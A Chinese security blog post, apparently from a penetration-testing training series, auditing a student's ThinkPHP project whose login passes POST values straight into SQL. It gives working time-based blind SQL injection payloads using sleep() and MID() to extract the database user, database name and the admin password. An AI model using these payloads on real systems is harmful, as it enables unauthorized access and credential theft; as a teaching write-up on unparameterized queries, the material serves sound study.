学员渗透录三十_thinkphp框架开发一点审计
作者:学员一枚 编辑:mOon 博客:www.moonsec.com
文章很普通就是一些tp开发的没注意的地方,本来不怎么想发在博客的。
但是这个又是学员的审核文章,还是放在学员渗透录吧,毕竟这个系列,还是不没有结束。
正文开始:
某同学的毕业设计 要我帮他审计下代码.用的是TP框架做的一个项目
其中登录处是这样写的
Name 和 password post过来的值直接被带入到数据库了 TP默认的Query方法是支持预处理的
但是这位同学没有使用.
那么可以直接控制name字段的sql传入进去.但是他关闭了DEBUG Trace调试模式.
TP如果关闭调式模式,页面出错是不会输出任何信息的直接空白.那么这个时候就要用到mysql 的sleep函数进行 延迟注入了
于是要构造一个请求,注意他上面判断了isajax 要在请求头信息里面加上
X-Requested-With: XMLHttpRequest 否则直接return了.
我们构造的post数据
username= lengkongqi') AND (IF(MID(user(),1,1) = 'r',sleep(10),0))=1#&password=1
//注意r那个必须是单引号 如果是双引号 则他和开始的双引号闭合了 这个$sql 变量报错了 都不会走到数据库
(IF(MID(user(),1,1) = 'r',sleep(10),0))
Mysql If用法If(条件,true,false)
MID是截取函数类似php里面的substr
如果user第一位数是r则这个sql会执行sleep(10)秒.否则不会sleep则马上返回结果.
这样我们就能猜出的用户名了.
更改sql来猜他的数据库名
username=lengkongqi') AND (IF(MID(database(),1,1) = 'x',sleep(10),0))=1#&password=1
直接就返回了结果 那么数据库第一位字母不是x
在把x换成p 执行了好久则第一位是p
最后得到他的数据库名是ptwop
然后在来猜他的用户表和后台管理员表
一般名称是manage user admin
如果不行加上表前缀 表前缀一般是数据库名称 这个数据库名称是ptwop那么表前缀应该是ptwop_ 对应的表名
ptwop_ manage ptwop_ user ptwop_ admin
username=lengkongqi') AND (IF(MID( (select password from ptwop_ admin where id=1),1,1) = 'x',sleep(10),0))=1#&password=1
然后就可以得到密码及账号.
好评
mOon:开发中 没用预算处理,关闭debug,使用延时注入。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论